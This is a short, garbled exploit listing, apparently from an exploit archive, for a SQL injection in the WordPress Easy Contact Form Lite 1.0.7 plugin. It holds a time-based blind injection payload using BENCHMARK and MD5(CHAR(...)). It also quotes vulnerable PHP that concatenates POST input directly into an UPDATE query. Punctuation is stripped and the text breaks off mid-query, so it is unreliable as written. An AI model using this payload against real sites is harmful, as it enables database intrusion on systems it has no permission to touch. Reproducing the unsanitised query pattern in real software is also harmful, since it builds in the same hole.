WordPress Easy Contact Form Lite 1.0.7 SQL Injection

Exploit Title: WordPress Easy Contact Form Lite plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0 --------------- Vulnerable code --------------- foreach $POST'fieldnum' as $position=$fieldid if $fieldid 0 $query = " UPDATE $settingstablename SET position = '".$position."' WHERE ID =...